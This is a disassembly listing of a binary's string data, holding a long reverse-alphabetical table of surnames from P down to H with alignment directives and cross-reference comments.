aPocobene	db 'Pocobene',0         ; DATA XREF: ___:0042E6B0o
		align 4
aPo		db 'Po',0               ; DATA XREF: ___:0042E6ACo
		align 10h
aPlous		db 'Plous',0            ; DATA XREF: ___:0042E6A8o
		align 4
aPlasket	db 'Plasket',0          ; DATA XREF: ___:0042E6A4o
aPlant		db 'Plant',0            ; DATA XREF: ___:0042E6A0o
		align 4
aPlancon	db 'Plancon',0          ; DATA XREF: ___:0042E69Co
aPinot		db 'Pinot',0            ; DATA XREF: ___:0042E698o
		align 4
aPilbeam	db 'Pilbeam',0          ; DATA XREF: ___:0042E694o
aPfister	db 'Pfister',0          ; DATA XREF: ___:0042E690o
aPettit		db 'Pettit',0           ; DATA XREF: ___:0042E68Co
		align 10h
aPettibone	db 'Pettibone',0        ; DATA XREF: ___:0042E688o
		align 4
aPetruzello	db 'Petruzello',0       ; DATA XREF: ___:0042E684o
		align 4
aPeters		db 'Peters',0           ; DATA XREF: ___:0042E680o
		align 10h
aPerrimon	db 'Perrimon',0         ; DATA XREF: ___:0042E67Co
		align 4
aPerone		db 'Perone',0           ; DATA XREF: ___:0042E678o
		align 4
aPerna		db 'Perna',0            ; DATA XREF: ___:0042E674o
		align 4
aPerlman	db 'Perlman',0          ; DATA XREF: ___:0042E670o
aPerlak		db 'Perlak',0           ; DATA XREF: ___:0042E66Co
		align 4
aPerko		db 'Perko',0            ; DATA XREF: ___:0042E668o
		align 4
aPereira	db 'Pereira',0          ; DATA XREF: ___:0042E664o
aPenny		db 'Penny',0            ; DATA XREF: ___:0042E660o
		align 4
aPeishel	db 'Peishel',0          ; DATA XREF: ___:0042E65Co
aPederson	db 'Pederson',0         ; DATA XREF: ___:0042E658o
		align 4
aPearlberg	db 'Pearlberg',0        ; DATA XREF: ___:0042E654o
		align 4
aPeabody	db 'Peabody',0          ; DATA XREF: ___:0042E650o
aPaynter	db 'Paynter',0          ; DATA XREF: ___:0042E64Co
aPawloski	db 'Pawloski',0         ; DATA XREF: ___:0042E648o
		align 10h
aPavlon		db 'Pavlon',0           ; DATA XREF: ___:0042E644o
		align 4
aPavetti	db 'Pavetti',0          ; DATA XREF: ___:0042E640o
aPattullo	db 'Pattullo',0         ; DATA XREF: ___:0042E63Co
		align 4
aPatrick	db 'Patrick',0          ; DATA XREF: ___:0042E638o
aPatefield	db 'Patefield',0        ; DATA XREF: ___:0042E634o
		align 10h
aPascucci	db 'Pascucci',0         ; DATA XREF: ___:0042E630o
		align 4
aPartridge	db 'Partridge',0        ; DATA XREF: ___:0042E62Co
		align 4
aParris		db 'Parris',0           ; DATA XREF: ___:0042E628o
		align 10h
aParmeggiani	db 'Parmeggiani',0      ; DATA XREF: ___:0042E624o
aPaoletti	db 'Paoletti',0         ; DATA XREF: ___:0042E620o
		align 4
aPantilla	db 'Pantilla',0         ; DATA XREF: ___:0042E61Co
		align 4
aPanizzon	db 'Panizzon',0         ; DATA XREF: ___:0042E618o
		align 10h
aPanadero	db 'Panadero',0         ; DATA XREF: ___:0042E614o
		align 4
aPalmitesta	db 'Palmitesta',0       ; DATA XREF: ___:0042E610o
		align 4
aPallara	db 'Pallara',0          ; DATA XREF: ___:0042E60Co
aPalepu		db 'Palepu',0           ; DATA XREF: ___:0042E608o
		align 4
aPalayoor	db 'Palayoor',0         ; DATA XREF: ___:0042E604o
		align 4
aPaine		db 'Paine',0            ; DATA XREF: ___:0042E600o
		align 4
aPaesdealmeida	db 'PaesDealmeida',0    ; DATA XREF: ___:0042E5FCo
		align 4
aOvid		db 'Ovid',0             ; DATA XREF: ___:0042E5F8o
		align 4
aOuchida	db 'Ouchida',0          ; DATA XREF: ___:0042E5F4o
aOtten		db 'Otten',0            ; DATA XREF: ___:0042E5F0o
		align 4
aOttaviani	db 'Ottaviani',0        ; DATA XREF: ___:0042E5ECo
		align 10h
aOstrowski	db 'Ostrowski',0        ; DATA XREF: ___:0042E5E8o
		align 4
aOspina		db 'Ospina',0           ; DATA XREF: ___:0042E5E4o
		align 4
aOrsi		db 'Orsi',0             ; DATA XREF: ___:0042E5E0o
		align 4
aOrfield	db 'Orfield',0          ; DATA XREF: ___:0042E5DCo
aOray		db 'Oray',0             ; DATA XREF: ___:0042E5D8o
		align 4
aOpel		db 'Opel',0             ; DATA XREF: ___:0042E5D4o
		align 4
aOMeara		db 'O',27h,'meara',0    ; DATA XREF: ___:0042E5D0o
aOman		db 'Oman',0             ; DATA XREF: ___:0042E5CCo
		align 4
aOMalley	db 'O',27h,'malley',0   ; DATA XREF: ___:0042E5C8o
		align 10h
aOlszewski	db 'Olszewski',0        ; DATA XREF: ___:0042E5C4o
		align 4
aOlson		db 'Olson',0            ; DATA XREF: ___:0042E5C0o
		align 4
aOlsen		db 'Olsen',0            ; DATA XREF: ___:0042E5BCo
		align 4
aOldford	db 'Oldford',0          ; DATA XREF: ___:0042E5B8o
aOHagan		db 'O',27h,'hagan',0    ; DATA XREF: ___:0042E5B4o
aOh		db 'Oh',0               ; DATA XREF: ___:0042E5B0o
		align 10h
aOgata		db 'Ogata',0            ; DATA XREF: ___:0042E5ACo
		align 4
aOcougne	db 'Ocougne',0          ; DATA XREF: ___:0042E5A8o
aNuzum		db 'Nuzum',0            ; DATA XREF: ___:0042E5A4o
		align 4
aNotman		db 'Notman',0           ; DATA XREF: ___:0042E5A0o
		align 10h
aNitabach	db 'Nitabach',0         ; DATA XREF: ___:0042E59Co
		align 4
aNisenson	db 'Nisenson',0         ; DATA XREF: ___:0042E598o
		align 4
aNickoloff	db 'Nickoloff',0        ; DATA XREF: ___:0042E594o
		align 4
aNickerson	db 'Nickerson',0        ; DATA XREF: ___:0042E590o
		align 10h
aNi_0		db 'Ni',0               ; DATA XREF: ___:0042E58Co
		align 4
aNg		db 'Ng',0               ; DATA XREF: ___:0042E588o
		align 4
aNewlin		db 'Newlin',0           ; DATA XREF: ___:0042E584o
		align 10h
aNewfeld	db 'Newfeld',0          ; DATA XREF: ___:0042E580o
aNeuman		db 'Neuman',0           ; DATA XREF: ___:0042E57Co
		align 10h
aNesci		db 'Nesci',0            ; DATA XREF: ___:0042E578o
		align 4
aNenna		db 'Nenna',0            ; DATA XREF: ___:0042E574o
		align 10h
aNelson		db 'Nelson',0           ; DATA XREF: ___:0042E570o
		align 4
aNayduch	db 'Nayduch',0          ; DATA XREF: ___:0042E56Co
aNaviaux	db 'Naviaux',0          ; DATA XREF: ___:0042E568o
aNardone	db 'Nardone',0          ; DATA XREF: ___:0042E564o
aNardi		db 'Nardi',0            ; DATA XREF: ___:0042E560o
		align 4
aNapolitano	db 'Napolitano',0       ; DATA XREF: ___:0042E55Co
		align 4
aNaddeo		db 'Naddeo',0           ; DATA XREF: ___:0042E558o
		align 4
aMussachio	db 'Mussachio',0        ; DATA XREF: ___:0042E554o
		align 4
aMumford	db 'Mumford',0          ; DATA XREF: ___:0042E550o
aMulroy		db 'Mulroy',0           ; DATA XREF: ___:0042E54Co
		align 4
aMulkern	db 'Mulkern',0          ; DATA XREF: ___:0042E548o
aMugnai		db 'Mugnai',0           ; DATA XREF: ___:0042E544o
		align 4
aMuello		db 'Muello',0           ; DATA XREF: ___:0042E540o
		align 10h
aMudarri	db 'Mudarri',0          ; DATA XREF: ___:0042E53Co
aMotooka	db 'Motooka',0          ; DATA XREF: ___:0042E538o
aMostafavi	db 'Mostafavi',0        ; DATA XREF: ___:0042E534o
		align 4
aMosler		db 'Mosler',0           ; DATA XREF: ___:0042E530o
		align 4
aMosher		db 'Mosher',0           ; DATA XREF: ___:0042E52Co
		align 4
aMortimer	db 'Mortimer',0         ; DATA XREF: ___:0042E528o
		align 4
aMorrow		db 'Morrow',0           ; DATA XREF: ___:0042E524o
		align 10h
aMorrison	db 'Morrison',0         ; DATA XREF: ___:0042E520o
		align 4
aMoreton	db 'Moreton',0          ; DATA XREF: ___:0042E51Co
aMorani		db 'Morani',0           ; DATA XREF: ___:0042E518o
		align 4
aMooredech_	db 'MooreDeCh.',0       ; DATA XREF: ___:0042E514o
		align 4
aMontilio	db 'Montilio',0         ; DATA XREF: ___:0042E510o
		align 4
aMonque		db 'Monque',0           ; DATA XREF: ___:0042E50Co
		align 4
aMoiamedi	db 'Moiamedi',0         ; DATA XREF: ___:0042E508o
		align 4
aMohr		db 'Mohr',0             ; DATA XREF: ___:0042E504o
		align 10h
aMoeller	db 'Moeller',0          ; DATA XREF: ___:0042E500o
aModestino	db 'Modestino',0        ; DATA XREF: ___:0042E4FCo
		align 4
aMocroft	db 'Mocroft',0          ; DATA XREF: ___:0042E4F8o
aMittal		db 'Mittal',0           ; DATA XREF: ___:0042E4F4o
		align 4
aMitropoulos	db 'Mitropoulos',0      ; DATA XREF: ___:0042E4F0o
aGonzalez	db 'Gonzalez',0         ; DATA XREF: ___:0042E4ECo
		align 4
aMinichiello	db 'Minichiello',0      ; DATA XREF: ___:0042E4E8o
aMini		db 'Mini',0             ; DATA XREF: ___:0042E4E4o
		align 10h
aMinh		db 'Minh',0             ; DATA XREF: ___:0042E4E0o
		align 4
aMills		db 'Mills',0            ; DATA XREF: ___:0042E4DCo
		align 10h
aMieher		db 'Mieher',0           ; DATA XREF: ___:0042E4D8o
		align 4
aMiddle		db 'Middle',0           ; DATA XREF: ___:0042E4D4o
		align 10h
aMichelman	db 'Michelman',0        ; DATA XREF: ___:0042E4D0o
		align 4
aMeurer		db 'Meurer',0           ; DATA XREF: ___:0042E4CCo
		align 4
aMetropolis	db 'Metropolis',0       ; DATA XREF: ___:0042E4C8o
		align 10h
aMetelka	db 'Metelka',0          ; DATA XREF: ___:0042E4C4o
aMerz		db 'Merz',0             ; DATA XREF: ___:0042E4C0o
		align 10h
aMerseth	db 'Merseth',0          ; DATA XREF: ___:0042E4BCo
aMerminod	db 'Merminod',0         ; DATA XREF: ___:0042E4B8o
		align 4
aMerlani	db 'Merlani',0          ; DATA XREF: ___:0042E4B4o
aMerikoski	db 'Merikoski',0        ; DATA XREF: ___:0042E4B0o
		align 4
aMenzies	db 'Menzies',0          ; DATA XREF: ___:0042E4ACo
aMemisoglu	db 'Memisoglu',0        ; DATA XREF: ___:0042E4A8o
		align 4
aMeccariello	db 'Meccariello',0      ; DATA XREF: ___:0042E4A4o
aMcnulty	db 'Mcnulty',0          ; DATA XREF: ___:0042E4A0o
aMcnealy	db 'Mcnealy',0          ; DATA XREF: ___:0042E49Co
aMclaren	db 'Mclaren',0          ; DATA XREF: ___:0042E498o
aMclane		db 'Mclane',0           ; DATA XREF: ___:0042E494o
		align 4
aMckenna	db 'Mckenna',0          ; DATA XREF: ___:0042E490o
aMcintosh	db 'Mcintosh',0         ; DATA XREF: ___:0042E48Co
		align 4
aMcilroy	db 'McIlroy',0          ; DATA XREF: ___:0042E488o
aMcgoldrick	db 'Mcgoldrick',0       ; DATA XREF: ___:0042E484o
		align 10h
aMcghee		db 'Mcghee',0           ; DATA XREF: ___:0042E480o
		align 4
aMcfadden	db 'McFadden',0         ; DATA XREF: ___:0042E47Co
		align 4
aMcelroy	db 'Mcelroy',0          ; DATA XREF: ___:0042E478o
aMcdowell	db 'Mcdowell',0         ; DATA XREF: ___:0042E474o
		align 4
aMcclearn	db 'Mcclearn',0         ; DATA XREF: ___:0042E470o
		align 4
aMccall		db 'Mccall',0           ; DATA XREF: ___:0042E46Co
		align 4
aMccaffery	db 'Mccaffery',0        ; DATA XREF: ___:0042E468o
		align 4
aMcbride	db 'Mcbride',0          ; DATA XREF: ___:0042E464o
aMazziotta	db 'Mazziotta',0        ; DATA XREF: ___:0042E460o
		align 4
aMazzali	db 'Mazzali',0
aMay		db 'May',0
aMauzy		db 'Mauzy',0
		align 10h
aMattson	db 'Mattson',0
aMatsukata	db 'Matsukata',0
		align 4
aMatarazzo	db 'Matarazzo',0
		align 10h
aMatalka	db 'Matalka',0
aMass		db 'Mass',0
		align 10h
aMarubini	db 'Marubini',0
		align 4
aMarton		db 'Marton',0
		align 4
aMartochio	db 'Martochio',0
		align 10h
aMartinez	db 'Martinez',0
		align 4
aMarques	db 'Marques',0
aMargetts	db 'Margetts',0
		align 10h
aMargalit	db 'Margalit',0
		align 4
aMarcus		db 'Marcus',0
		align 4
aMarchbanks	db 'Marchbanks',0
		align 10h
aMarch		db 'March',0
		align 4
aMantovan	db 'Mantovan',0
		align 4
aManganiello	db 'Manganiello',0
aMandel		db 'Mandel',0
		align 4
aManalis	db 'Manalis',0
aMalova		db 'Malova',0
		align 4
aMaller		db 'Maller',0
		align 10h
aMalatesta	db 'Malatesta',0
		align 4
aMaisano	db 'Maisano',0
aMaineHershey	db 'Maine-Hershey',0
		align 4
aMaier		db 'Maier',0
		align 4
aMahony		db 'Mahony',0
		align 4
aMaggio		db 'Maggio',0
		align 4
aMadigan	db 'Madigan',0
aMacy		db 'Macy',0
		align 4
aMacmillan	db 'MacMillan',0
		align 4
aMackenney	db 'Mackenney',0
		align 4
aMacintyre	db 'Macintyre',0
		align 10h
aMaceachern	db 'Maceachern',0
		align 4
aMacdonald	db 'Macdonald',0
		align 4
aMaccormac	db 'Maccormac',0
		align 4
aMa		db 'Ma',0               ; DATA XREF: ___:0042E3C4o
		align 4
aLuzader	db 'Luzader',0          ; DATA XREF: ___:0042E3C0o
aLutcavage	db 'Lutcavage',0        ; DATA XREF: ___:0042E3BCo
		align 4
aLussier	db 'Lussier',0          ; DATA XREF: ___:0042E3B8o
aLuoma		db 'Luoma',0            ; DATA XREF: ___:0042E3B4o
		align 4
aLunetta	db 'Lunetta',0          ; DATA XREF: ___:0042E3B0o
aLuecke		db 'Luecke',0           ; DATA XREF: ___:0042E3ACo
		align 4
aLuczkow	db 'Luczkow',0          ; DATA XREF: ___:0042E3A8o
aLuciano	db 'Luciano',0          ; DATA XREF: ___:0042E3A4o
aLucas		db 'Lucas',0            ; DATA XREF: ___:0042E3A0o
		align 4
aLubin		db 'Lubin',0            ; DATA XREF: ___:0042E39Co
		align 4
aLoza		db 'Loza',0             ; DATA XREF: ___:0042E398o
		align 4
aLowenstein	db 'Lowenstein',0       ; DATA XREF: ___:0042E394o
		align 10h
aLoveman	db 'Loveman',0          ; DATA XREF: ___:0042E390o
aLoss		db 'Loss',0             ; DATA XREF: ___:0042E38Co
		align 10h
aLongworth	db 'Longworth',0        ; DATA XREF: ___:0042E388o
		align 4
aLocatelli	db 'Locatelli',0        ; DATA XREF: ___:0042E384o
		align 4
aLizardo	db 'Lizardo',0          ; DATA XREF: ___:0042E380o
aLivolsi	db 'Livolsi',0          ; DATA XREF: ___:0042E37Co
aLivi		db 'Livi',0             ; DATA XREF: ___:0042E378o
		align 10h
aLivernash	db 'Livernash',0        ; DATA XREF: ___:0042E374o
		align 4
aLitvak		db 'Litvak',0           ; DATA XREF: ___:0042E370o
		align 4
aLittle		db 'Little',0           ; DATA XREF: ___:0042E36Co
		align 4
aLipponen	db 'Lipponen',0         ; DATA XREF: ___:0042E368o
		align 4
aLippmann	db 'Lippmann',0         ; DATA XREF: ___:0042E364o
		align 4
aLinzee		db 'Linzee',0           ; DATA XREF: ___:0042E360o
		align 4
aLinehan	db 'Linehan',0          ; DATA XREF: ___:0042E35Co
aLine		db 'Line',0             ; DATA XREF: ___:0042E358o
		align 4
aLinder		db 'Linder',0           ; DATA XREF: ___:0042E354o
		align 4
aLinda		db 'Linda',0            ; DATA XREF: ___:0042E350o
		align 4
aLinares	db 'Linares',0          ; DATA XREF: ___:0042E34Co
aLim		db 'Lim',0              ; DATA XREF: ___:0042E348o
aLightfoot	db 'Lightfoot',0        ; DATA XREF: ___:0042E344o
		align 4
aLight		db 'Light',0            ; DATA XREF: ___:0042E340o
		align 4
aLiem		db 'Liem',0             ; DATA XREF: ___:0042E33Co
		align 4
aLidano		db 'Lidano',0           ; DATA XREF: ___:0042E338o
		align 4
aLiakos		db 'Liakos',0           ; DATA XREF: ___:0042E334o
		align 4
aLessi		db 'Lessi',0            ; DATA XREF: ___:0042E330o
		align 4
aLesser		db 'Lesser',0           ; DATA XREF: ___:0042E32Co
		align 4
aLEnclos	db 'l',27h,'Enclos',0   ; DATA XREF: ___:0042E328o
		align 10h
aLenard		db 'Lenard',0           ; DATA XREF: ___:0042E324o
		align 4
aLeite		db 'Leite',0            ; DATA XREF: ___:0042E320o
		align 10h
aLeclercq	db 'Leclercq',0         ; DATA XREF: ___:0042E31Co
		align 4
aLecce		db 'Lecce',0            ; DATA XREF: ___:0042E318o
		align 4
aLecar		db 'Lecar',0            ; DATA XREF: ___:0042E314o
		align 4
aLawless	db 'Lawless',0          ; DATA XREF: ___:0042E310o
aLashley	db 'Lashley',0          ; DATA XREF: ___:0042E30Co
aLaserna	db 'Laserna',0          ; DATA XREF: ___:0042E308o
aLanzit		db 'Lanzit',0           ; DATA XREF: ___:0042E304o
		align 4
aLantieri	db 'Lantieri',0         ; DATA XREF: ___:0042E300o
		align 4
aLankes		db 'Lankes',0           ; DATA XREF: ___:0042E2FCo
		align 10h
aLandes		db 'Landes',0           ; DATA XREF: ___:0042E2F8o
		align 4
aLallemant	db 'Lallemant',0        ; DATA XREF: ___:0042E2F4o
					; ___:0043294Co
		align 4
aLaing		db 'Laing',0            ; DATA XREF: ___:0042E2F0o
		align 4
aLafler		db 'Lafler',0           ; DATA XREF: ___:0042E2ECo
					; ___:off_4327E8o
		align 4
aLabunka	db 'Labunka',0          ; DATA XREF: ___:0042E2E8o
aLa		db 'La',0               ; DATA XREF: ___:0042E2E4o
		align 10h
aKuwabara	db 'Kuwabara',0         ; DATA XREF: ___:0042E2E0o
		align 4
aKusman		db 'Kusman',0           ; DATA XREF: ___:0042E2DCo
		align 4
aKumar		db 'Kumar',0            ; DATA XREF: ___:0042E2D8o
		align 4
aKuenzli	db 'Kuenzli',0          ; DATA XREF: ___:0042E2D4o
aKrysiak	db 'Krysiak',0          ; DATA XREF: ___:0042E2D0o
aKroemer	db 'Kroemer',0          ; DATA XREF: ___:0042E2CCo
aKraus		db 'Kraus',0            ; DATA XREF: ___:0042E2C8o
		align 4
aKrasney	db 'Krasney',0          ; DATA XREF: ___:0042E2C4o
aKrailo		db 'Krailo',0           ; DATA XREF: ___:0042E2C0o
		align 4
aKraemer	db 'Kraemer',0          ; DATA XREF: ___:0042E2BCo
aKovaks		db 'Kovaks',0           ; DATA XREF: ___:0042E2B8o
		align 4
aKotter		db 'Kotter',0           ; DATA XREF: ___:0042E2B4o
		align 4
aKorzybski	db 'Korzybski',0        ; DATA XREF: ___:0042E2B0o
		align 10h
aKool		db 'Kool',0             ; DATA XREF: ___:0042E2ACo
		align 4
aKonrad		db 'Konrad',0           ; DATA XREF: ___:0042E2A8o
		align 10h
aKoniaris	db 'Koniaris',0         ; DATA XREF: ___:0042E2A4o
		align 4
aKommer		db 'Kommer',0           ; DATA XREF: ___:0042E2A0o
		align 4
aKoivumaki	db 'Koivumaki',0        ; DATA XREF: ___:0042E29Co
		align 10h
aKohn		db 'Kohn',0             ; DATA XREF: ___:0042E298o
		align 4
aKoch		db 'Koch',0             ; DATA XREF: ___:0042E294o
		align 10h
aKobrick	db 'Kobrick',0          ; DATA XREF: ___:0042E290o
aKnuff		db 'Knuff',0            ; DATA XREF: ___:0042E28Co
		align 10h
aKlint		db 'Klint',0            ; DATA XREF: ___:0042E288o
		align 4
aKlinkenborg	db 'Klinkenborg',0      ; DATA XREF: ___:0042E284o
aKling		db 'Kling',0            ; DATA XREF: ___:0042E280o
		align 4
aKlemperer	db 'Klemperer',0        ; DATA XREF: ___:0042E27Co
		align 4
aKleinfelder	db 'Kleinfelder',0      ; DATA XREF: ___:0042E278o
aKleiman	db 'Kleiman',0          ; DATA XREF: ___:0042E274o
aKleckner	db 'Kleckner',0         ; DATA XREF: ___:0042E270o
		align 4
aKittridge	db 'Kittridge',0        ; DATA XREF: ___:0042E26Co
		align 4
aKirscht	db 'Kirscht',0          ; DATA XREF: ___:0042E268o
aKippenberger	db 'Kippenberger',0     ; DATA XREF: ___:0042E264o
		align 4
aKinsley	db 'Kinsley',0          ; DATA XREF: ___:0042E260o
aKindall	db 'Kindall',0          ; DATA XREF: ___:0042E25Co
aKimura		db 'Kimura',0           ; DATA XREF: ___:0042E258o
		align 4
aKimmett	db 'Kimmett',0          ; DATA XREF: ___:0042E254o
aKimmel		db 'Kimmel',0           ; DATA XREF: ___:0042E250o
		align 4
aKhong		db 'Khong',0            ; DATA XREF: ___:0042E24Co
		align 4
aKeul		db 'Keul',0             ; DATA XREF: ___:0042E248o
		align 4
aKerry		db 'Kerry',0            ; DATA XREF: ___:0042E244o
		align 4
aKendall	db 'Kendall',0          ; DATA XREF: ___:0042E240o
aKemsley	db 'Kemsley',0          ; DATA XREF: ___:0042E23Co
aKempton	db 'Kempton',0          ; DATA XREF: ___:0042E238o
aKelsey		db 'Kelsey',0           ; DATA XREF: ___:0042E234o
		align 4
aKelker		db 'Kelker',0           ; DATA XREF: ___:0042E230o
		align 4
aKeith		db 'Keith',0            ; DATA XREF: ___:0042E22Co
		align 4
aKeepper	db 'Keepper',0          ; DATA XREF: ___:0042E228o
aKeenan		db 'Keenan',0           ; DATA XREF: ___:0042E224o
		align 4
aKee		db 'Kee',0              ; DATA XREF: ___:0042E220o
aKawachi	db 'Kawachi',0          ; DATA XREF: ___:0042E21Co
aKasten		db 'Kasten',0           ; DATA XREF: ___:0042E218o
		align 10h
aKassower	db 'Kassower',0         ; DATA XREF: ___:0042E214o
		align 4
aKarpouzes	db 'Karpouzes',0        ; DATA XREF: ___:0042E210o
		align 4
aKangis		db 'Kangis',0           ; DATA XREF: ___:0042E20Co
		align 10h
aKamel		db 'Kamel',0            ; DATA XREF: ___:0042E208o
		align 4
aKalman		db 'Kalman',0           ; DATA XREF: ___:0042E204o
		align 10h
aKalinowski	db 'Kalinowski',0       ; DATA XREF: ___:0042E200o
		align 4
aKalil		db 'Kalil',0            ; DATA XREF: ___:0042E1FCo
		align 4
aKaligian	db 'Kaligian',0         ; DATA XREF: ___:0042E1F8o
		align 10h
aKalbfleisch	db 'Kalbfleisch',0      ; DATA XREF: ___:0042E1F4o
aKafadar	db 'Kafadar',0          ; DATA XREF: ___:0042E1F0o
aKaboolian	db 'Kaboolian',0        ; DATA XREF: ___:0042E1ECo
		align 10h
aKabbash	db 'Kabbash',0          ; DATA XREF: ___:0042E1E8o
aJulious	db 'Julious',0          ; DATA XREF: ___:0042E1E4o
aJuliano	db 'Juliano',0          ; DATA XREF: ___:0042E1E0o
aJucks		db 'Jucks',0            ; DATA XREF: ___:0042E1DCo
		align 10h
aJorgensen	db 'Jorgensen',0        ; DATA XREF: ___:0042E1D8o
		align 4
aJolly		db 'Jolly',0            ; DATA XREF: ___:0042E1D4o
		align 4
aJohns		db 'Johns',0            ; DATA XREF: ___:0042E1D0o
		align 4
aJohannsen	db 'Johannsen',0        ; DATA XREF: ___:0042E1CCo
		align 4
aJohannesson	db 'Johannesson',0      ; DATA XREF: ___:0042E1C8o
aJewett		db 'Jewett',0           ; DATA XREF: ___:0042E1C4o
		align 4
aJespersen	db 'Jespersen',0        ; DATA XREF: ___:0042E1C0o
		align 4
aJenkins	db 'Jenkins',0          ; DATA XREF: ___:0042E1BCo
aJellis		db 'Jellis',0           ; DATA XREF: ___:0042E1B8o
		align 4
aJeffers	db 'Jeffers',0          ; DATA XREF: ___:0042E1B4o
aJay		db 'Jay',0              ; DATA XREF: ___:0042E1B0o
aJarrell	db 'Jarrell',0          ; DATA XREF: ___:0042E1ACo
aJarnagin	db 'Jarnagin',0         ; DATA XREF: ___:0042E1A8o
		align 4
aJanjigian	db 'Janjigian',0        ; DATA XREF: ___:0042E1A4o
		align 4
aJamil		db 'Jamil',0            ; DATA XREF: ___:0042E1A0o
		align 4
aJain		db 'Jain',0             ; DATA XREF: ___:0042E19Co
		align 4
aJagoe		db 'Jagoe',0            ; DATA XREF: ___:0042E198o
		align 4
aJagger		db 'Jagger',0           ; DATA XREF: ___:0042E194o
		align 4
aJagers		db 'Jagers',0           ; DATA XREF: ___:0042E190o
		align 4
aJackson	db 'Jackson',0          ; DATA XREF: ___:0042E18Co
aJacenko	db 'Jacenko',0          ; DATA XREF: ___:0042E188o
aIyer		db 'Iyer',0             ; DATA XREF: ___:0042E184o
		align 4
aIsserman	db 'Isserman',0         ; DATA XREF: ___:0042E180o
		align 10h
aIsbill		db 'Isbill',0           ; DATA XREF: ___:0042E17Co
		align 4
aIsaievych	db 'Isaievych',0        ; DATA XREF: ___:0042E178o
		align 4
aIsaac		db 'Isaac',0            ; DATA XREF: ___:0042E174o
		align 4
aInniss		db 'Inniss',0           ; DATA XREF: ___:0042E170o
		align 4
aInamura	db 'Inamura',0          ; DATA XREF: ___:0042E16Co
aIgarashi	db 'Igarashi',0         ; DATA XREF: ___:0042E168o
		align 4
aIchikawa	db 'Ichikawa',0         ; DATA XREF: ___:0042E164o
		align 4
aIaquinta	db 'Iaquinta',0         ; DATA XREF: ___:0042E160o
		align 10h
aHyde		db 'Hyde',0             ; DATA XREF: ___:0042E15Co
		align 4
aHutchings	db 'Hutchings',0        ; DATA XREF: ___:0042E158o
		align 4
aHurtubise	db 'Hurtubise',0        ; DATA XREF: ___:0042E154o
		align 10h
aHupp		db 'Hupp',0             ; DATA XREF: ___:0042E150o
		align 4
aHuntington	db 'Huntington',0       ; DATA XREF: ___:0042E14Co
		align 4
aHungerford	db 'Hungerford',0       ; DATA XREF: ___:0042E148o
		align 10h
aHuidekoper	db 'Huidekoper',0       ; DATA XREF: ___:0042E144o
		align 4
aHuey		db 'Huey',0             ; DATA XREF: ___:0042E140o
		align 4
aHoy		db 'Hoy',0              ; DATA XREF: ___:0042E13Co
aHoward		db 'Howard',0           ; DATA XREF: ___:0042E138o
		align 10h
aHottle		db 'Hottle',0           ; DATA XREF: ___:0042E134o
		align 4
aHostage	db 'Hostage',0          ; DATA XREF: ___:0042E130o
aHoshida	db 'Hoshida',0          ; DATA XREF: ___:0042E12Co
aHorsley	db 'Horsley',0          ; DATA XREF: ___:0042E128o
aHopkins	db 'Hopkins',0          ; DATA XREF: ___:0042E124o
aHooker		db 'Hooker',0           ; DATA XREF: ___:0042E120o
		align 10h
aHolzman	db 'Holzman',0          ; DATA XREF: ___:0042E11Co
aHolway		db 'Holway',0           ; DATA XREF: ___:0042E118o
		align 10h
aHolter		db 'Holter',0           ; DATA XREF: ___:0042E114o
		align 4
aHoloien	db 'Holoien',0          ; DATA XREF: ___:0042E110o
aHolmes		db 'Holmes',0           ; DATA XREF: ___:0042E10Co
		align 4
aHokoda		db 'Hokoda',0           ; DATA XREF: ___:0042E108o
		align 10h
aHokanson	db 'Hokanson',0         ; DATA XREF: ___:0042E104o
		align 4
aHoffman	db 'Hoffman',0          ; DATA XREF: ___:0042E100o
aHoffer		db 'Hoffer',0           ; DATA XREF: ___:0042E0FCo
		align 4
aHock		db 'Hock',0             ; DATA XREF: ___:0042E0F8o
		align 4
aHoang		db 'Hoang',0            ; DATA XREF: ___:0042E0F4o
		align 4
aHitchcock	db 'Hitchcock',0        ; DATA XREF: ___:0042E0F0o
		align 4
aHirst		db 'Hirst',0            ; DATA XREF: ___:0042E0ECo
		align 10h
aHind		db 'Hind',0             ; DATA XREF: ___:0042E0E8o
		align 4
aHimmelfarb	db 'Himmelfarb',0       ; DATA XREF: ___:0042E0E4o
		align 4
aHeyeck		db 'Heyeck',0           ; DATA XREF: ___:0042E0E0o
		align 4
aHeubert	db 'Heubert',0          ; DATA XREF: ___:0042E0DCo
aHester		db 'Hester',0           ; DATA XREF: ___:0042E0D8o
		align 4
aHerrera	db 'Herrera',0          ; DATA XREF: ___:0042E0D4o
aHernandez	db 'Hernandez',0        ; DATA XREF: ___:0042E0D0o
		align 10h
aHenrichs	db 'Henrichs',0         ; DATA XREF: ___:0042E0CCo
		align 4
aHenery		db 'Henery',0           ; DATA XREF: ___:0042E0C8o
		align 4
aHemphill	db 'Hemphill',0         ; DATA XREF: ___:0042E0C4o
		align 10h
aHelprin	db 'Helprin',0          ; DATA XREF: ___:0042E0C0o
aHellmiss	db 'Hellmiss',0         ; DATA XREF: ___:0042E0BCo
		align 4
aHellman	db 'Hellman',0          ; DATA XREF: ___:0042E0B8o
aHeiland	db 'Heiland',0          ; DATA XREF: ___:0042E0B4o
aHeft		db 'Heft',0             ; DATA XREF: ___:0042E0B0o
		align 4
aHeermans	db 'Heermans',0         ; DATA XREF: ___:0042E0ACo
		align 4
aHazlewood	db 'Hazlewood',0        ; DATA XREF: ___:0042E0A8o
		align 4
aHaynes		db 'Haynes',0           ; DATA XREF: ___:0042E0A4o
		align 4
aHayes		db 'Hayes',0            ; DATA XREF: ___:0042E0A0o
		align 4
aHawkes		db 'Hawkes',0           ; DATA XREF: ___:0042E09Co
		align 4
aHaviaras	db 'Haviaras',0         ; DATA XREF: ___:0042E098o
		align 4
aHarwell	db 'Harwell',0          ; DATA XREF: ___:0042E094o
aHartnett	db 'Hartnett',0         ; DATA XREF: ___:0042E090o
		align 4
aHartmann	db 'Hartmann',0         ; DATA XREF: ___:0042E08Co
		align 4
aHartman	db 'Hartman',0          ; DATA XREF: ___:0042E088o
aHarrigan	db 'Harrigan',0         ; DATA XREF: ___:0042E084o
		align 4
aHarlow		db 'Harlow',0           ; DATA XREF: ___:0042E080o
		align 4
aHargraves	db 'Hargraves',0        ; DATA XREF: ___:0042E07Co
		align 10h
aHarding	db 'Harding',0          ; DATA XREF: ___:0042E078o
aHanssen	db 'Hanssen',0          ; DATA XREF: ___:0042E074o
aHand		db 'Hand',0             ; DATA XREF: ___:0042E070o
		align 4
aHammerness	db 'Hammerness',0       ; DATA XREF: ___:0042E06Co
		align 4
aHamer		db 'Hamer',0            ; DATA XREF: ___:0042E068o
		align 4
aHambarzumjan	db 'Hambarzumjan',0     ; DATA XREF: ___:0042E064o
